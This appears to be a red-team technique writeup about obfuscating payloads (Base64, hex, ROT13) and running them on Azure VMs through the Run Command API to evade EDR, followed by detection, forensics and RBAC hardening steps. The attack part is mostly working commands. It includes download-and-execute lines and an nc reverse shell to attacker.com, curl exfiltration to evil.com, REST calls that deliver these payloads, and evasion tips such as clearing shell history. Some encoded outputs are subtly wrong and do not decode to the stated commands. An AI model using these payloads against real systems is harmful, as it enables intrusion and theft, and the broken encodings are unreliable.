| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-006 |
| MITRE ATT&CK v18.1 | T1562 - Impair Defenses |
| Tactic | Defense Evasion |
| Platforms | Entra ID, Azure |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Azure Compute (VMs, VMSS, AKS Nodes) |
| Patched In | N/A (Obfuscation is evasion-based, not a vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure VM and AKS node administrators can execute arbitrary commands via the Azure Resource Manager runCommand API or Azure Portal Run Command feature. When an attacker obtains Azure REST API credentials (either direct RBAC permissions or a stolen managed identity token), they can bypass endpoint detection and response (EDR) agents by obfuscating payloads using shell encoding (Base64, hex, ROT13), variable expansion, command substitution, and pipeline chaining. The Azure Run Command execution context runs with System/root privileges, but the actual command invocation is logged minimally—only the fact that “Run Command” was executed is audited, not the actual command content.
Attack Surface: Azure VM “runCommand” REST API endpoint, Azure Portal Run Command feature, AKS node direct command execution, shell interpreters (PowerShell, cmd.exe, bash, sh).
Business Impact: Attackers can execute malware, deploy ransomware, or establish persistence without triggering EDR alerts. Command obfuscation bypasses keyword-based threat detection rules that look for suspicious patterns (e.g., “net user”, “whoami”, “curl http://”). This enables attackers to move laterally across VMs, establish backdoors, and steal data while evading defensive capabilities.
Technical Context: Exploitation takes <1 minute once API credentials are obtained. EDR detection is significantly reduced because obfuscated commands do not match known IOC patterns. Azure Activity Log captures only that “Run Command” was invoked, not the decoded command payload.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 7.5 | Restrict VM administrative access to authorized personnel only |
| DISA STIG | SI-2 (3.10.1) | Flaw Remediation - Unauthorized code execution prevention |
| NIST 800-53 | SI-4, AC-6 | Information System Monitoring and Least Privilege |
| GDPR | Art. 32 | Security of Processing - Technical controls for unauthorized access |
| DORA | Art. 9 | Protection and Prevention - Detect and respond to unauthorized access |
| NIS2 | Art. 21 | Cyber Risk Management - Monitoring and logging of admin actions |
| ISO 27001 | A.9.2.5 | Access Rights Review - Audit administrative actions |
| ISO 27005 | “Unauthorized code execution on critical systems” | Risk Scenario |
Verify Compute Permissions (PowerShell):
$context = Get-AzContext
Get-AzRoleAssignment -SignInName $context.Account.Id -Scope "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}" | Select RoleDefinitionName
Supported Versions: All Azure VMs and AKS Nodes
Objective: Enumerate available VMs and verify Compute permissions.
Command (Azure CLI):
az vm list --resource-group <ResourceGroup> --query "[].{name:name, id:id, osType:osProfile.osType}" --output table
Expected Output:
Name Id osType
---------------- ------------------------------------------------------------------------------- --------
web-server-01 /subscriptions/{subId}/resourceGroups/prod/providers/Microsoft.Compute/virtualMachines/web-server-01 Linux
db-server-01 /subscriptions/{subId}/resourceGroups/prod/providers/Microsoft.Compute/virtualMachines/db-server-01 Windows
What This Means:
Objective: Encode command to bypass keyword-based detection rules.
Command (Create Base64-Encoded Payload - Linux):
# Original malicious command
ORIGINAL_CMD="wget http://attacker.com/malware.sh -O /tmp/m.sh && bash /tmp/m.sh"
# Base64 encode
ENCODED=$(echo -n "$ORIGINAL_CMD" | base64)
echo "Encoded payload: $ENCODED"
# Decoded form (for verification)
echo "$ENCODED" | base64 -d
Command (Create Base64-Encoded Payload - Windows/PowerShell):
$OriginalCmd = "powershell -nop -c (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') | iex"
$EncodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($OriginalCmd))
Write-Host "Encoded: $EncodedCmd"
Expected Output (Linux):
Encoded payload: d2dldCBodHRwOi8vYXR0YWNrZXIuY29tL21hbHdhcmUuc2ggLU8gL3RtcC9tLnNoICYmIGJhc2ggL3RtcC9tLnNo
What This Means:
OpSec & Evasion:
$(printf 'cmd') instead of cmdObjective: Invoke Run Command with obfuscated payload; Azure VM will decode and execute.
Command (Linux VM - Base64 Decoding):
ENCODED="d2dldCBodHRwOi8vYXR0YWNrZXIuY29tL21hbHdhcmUuc2ggLU8gL3RtcC9tLnNoICYmIGJhc2ggL3RtcC9tLnNo"
# Direct REST API call
curl -X POST \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"commandId": "RunShellScript",
"script": ["echo '$ENCODED' | base64 -d | bash"]
}' \
"https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}/runCommand?api-version=2023-03-01"
Command (Windows VM - Base64 Decoding):
$EncodedCmd = "JABPaWdkZWZQb3cgPSAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovL2F0dGFja2VyLmNvbS9wYXlsb2FkLnBzMScpOyBpZXg="
$RestoreCmd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCmd))
$body = @{
commandId = "RunPowerShellScript"
script = @("[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('$EncodedCmd')) | iex")
} | ConvertTo-Json
Invoke-RestMethod `
-Uri "https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}/runCommand?api-version=2023-03-01" `
-Method POST `
-Headers @{ Authorization = "Bearer $AccessToken"; "Content-Type" = "application/json" } `
-Body $body
Expected Output (Success):
{
"value": [
{
"code": "ProvisioningState/succeeded",
"level": "Info",
"displayStatus": "Provisioning succeeded"
},
{
"code": "ComponentStatus/succeeded",
"level": "Info",
"displayStatus": "Component status succeeded"
}
]
}
What This Means:
OpSec & Evasion:
Supported Versions: All Azure VMs (Linux preferred)
Objective: Use hex encoding combined with command substitution to maximize obfuscation depth.
Command (Generate Hex-Encoded Payload):
# Original command
ORIGINAL="nc attacker.com 4444 -e /bin/bash"
# Convert to hex
HEX_PAYLOAD=$(echo -n "$ORIGINAL" | od -An -tx1 | tr -d ' ')
echo "Hex: $HEX_PAYLOAD"
# Create execution command with variable obfuscation
OBFUSCATED="echo '${HEX_PAYLOAD}' | xxd -r -p | bash"
echo "Execution: $OBFUSCATED"
Expected Output:
Hex: 6e6320617474616368657223636f6d20343434342d65202f62696e2f626173
Execution: echo '6e6320617474616368657223636f6d20343434342d65202f62696e2f626173' | xxd -r -p | bash
What This Means:
OpSec & Evasion:
$(printf '\\x6e\\x63') to further hide ‘nc’ command nameObjective: Execute polymorphic command using Azure Portal UI (appears as legitimate admin action).
Manual Steps (Azure Portal):
echo '6e6320617474616368657223636f6d20343434342d65202f62696e2f626173' | xxd -r -p | bash
What This Means:
OpSec & Evasion:
Supported Versions: All Linux Azure VMs with bash
Objective: Use ROT13 + printf %x encoding for maximum polymorphism.
Command (Encode via ROT13):
# Original command
CMD="curl http://evil.com/$(whoami).txt"
# ROT13 encode
ROT13=$(echo "$CMD" | tr 'A-Za-z' 'N-ZA-Mn-za-m')
echo "ROT13: $ROT13"
# Execution string using printf to decode
EXEC="echo '$ROT13' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash"
Expected Output:
ROT13: p h e y u g g c : / / r i y . p b z / $ ( j u b n z v ) . g k g
Exec: echo 'p h e y u g g c : / / r i y . p b z / $ ( j u b n z v ) . g k g' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash
What This Means:
Objective: Execute ROT13-obfuscated command using Azure CLI (fastest method).
Command (Azure CLI - Simplified):
az vm run-command invoke \
--resource-group <ResourceGroup> \
--name <VMName> \
--command-id RunShellScript \
--scripts "echo 'p h e y u g g c : / / r i y . p b z / \$(j h b n z v ) . g k g' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash"
Expected Output:
{
"value": [
{
"code": "ProvisioningState/succeeded",
"level": "Info"
}
]
}
What This Means:
OpSec & Evasion:
history -c)# Attackers chain multiple encoding techniques
CMD_PART1='$(printf "\\x6e\\x63")' # Decodes to 'nc'
CMD_PART2='${HOSTNAME:0:4}' # Extracts 4 chars from hostname
FINAL_CMD="$CMD_PART1 attacker.com 4444 -e /bin/bash"
# Execute via echo eval
eval "$(echo -n "$FINAL_CMD" | base64 -d)"
# Hide actual command in VM environment variable, then invoke
export HIDDEN_SCRIPT="$(cat /tmp/payload.sh)"
$HIDDEN_SCRIPT
# Disconnect Network Interface to prevent further lateral movement/C2 callback
az network nic ip-config address-pool remove \
--nic-name <NICName> \
--resource-group <ResourceGroup> \
--ip-config-name <IpConfigName>
Manual (Azure Portal):
# Export Activity Log entries for this VM
az monitor activity-log list \
--resource-group <ResourceGroup> \
--resource-id "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}" \
--query "[].{time:eventTimestamp, action:operationName.localizedValue, caller:caller, details:properties}" \
--output json > /tmp/activity_log.json
Manual (Azure Portal):
Step 1: Analyze Command Logs
# SSH into VM and check bash history (if accessible)
history | grep -E "base64|xxd|tr|eval|exec"
# Check for suspicious files in /tmp
ls -lah /tmp/ | grep -E "\.sh$|\.txt$|\.py$"
Step 2: Identify C2 Infrastructure
# Check network connections (Linux)
ss -tulpn | grep ESTABLISHED
netstat -tulpn | grep ESTABLISHED
# Check for persistence mechanisms
crontab -l
ls -la /etc/cron.d/
Step 3: Remediation Options
Option A: Reimage VM (Safest)
# Delete current VM and redeploy from clean image
az vm delete --name <VMName> --resource-group <ResourceGroup> --yes
# Redeploy from unmodified image
az vm create --resource-group <ResourceGroup> --name <VMName> --image <OriginalImageURN>
Option B: Surgical Cleanup (If Data Criticality Prevents Reimage)
# Remove malicious files identified in forensics
rm -f /tmp/malware.sh
rm -f /home/*/.*_suspicious
# Kill suspicious processes
pkill -f "nc attacker.com"
pkill -f "curl http://"
# Reset bash history
history -c && history -w
Restrict Azure “Run Command” via Conditional Access / RBAC
Applies To Versions: All Azure compute versions
Manual Steps (RBAC - Create Custom Role with Explicit Deny):
Manual Steps (PowerShell - Deny runCommand for Non-Exempt Groups):
# Create custom role denying runCommand
$role = Get-AzRoleDefinition -Name "Contributor"
$role.Name = "Contributor-NoRunCommand"
$role.Id = $null
# Find and remove runCommand permission
$role.AssignableScopes = @("/subscriptions/{subscriptionId}")
$role.Permissions[0].NotActions += "Microsoft.Compute/virtualMachines/runCommand/action"
New-AzRoleDefinition -InputObject $role
Enable Conditional Access Policy: Block Run Command Outside Trusted Network
Manual Steps:
Block VM Run Command Outside Corp NetworkEnable Audit Logging for Run Command Execution
Manual Steps:
Implement Azure VM Extension for Command Monitoring
Manual Steps:
Implement Just-In-Time (JIT) VM Access
Manual Steps:
Enable Managed Identity with Fine-Grained RBAC Instead of Connection Strings
Manual Steps:
# Check if runCommand is denied for users
Get-AzRoleDefinition -Name "Contributor-NoRunCommand" | Select-Object -ExpandProperty AssignableScopes
# Should include NotActions with runCommand permission
# Verify Conditional Access policy exists
Get-AzConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Run Command*" }
# List VMs with runCommand permissions (should be empty or minimal)
Get-AzRoleAssignment -IncludeClassicAdministrators | Where-Object { $_.RoleDefinitionName -eq "Contributor" } | Select SignInName, Scope
# Check Activity Log for recent runCommand executions
Get-AzLog -StartTime (Get-Date).AddDays(-7) | Where-Object { $_.OperationName -like "*runCommand*" }
Expected Output (If Secure):
DisplayName : Block VM Run Command Outside Corp Network
State : Enabled
SignInName : user@corp.com
RoleDefinitionName : Contributor-NoRunCommand
Scope : /subscriptions/{subId}/resourceGroups/prod
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [CA-TOKEN-006] Service Principal Certificate Theft | Steal Azure SPN certificate for API access |
| 2 | Privilege Escalation | [PE-VALID-011] Managed Identity MSI Escalation | Escalate to tenant-level permissions via stolen MSI |
| 3 | Execution | [EVADE-IMPAIR-006] | Execute obfuscated commands via Run Command API |
| 4 | Persistence | [PERSIST-001] Azure VM Custom Script Extension | Deploy backdoor via Extension (alternative to Run Command) |
| 5 | Impact | [EXF-003] Lateral Movement to SQL Databases | Use VM credentials to access databases |
echo '...base64...' | base64 -d | powershell -nop -c iex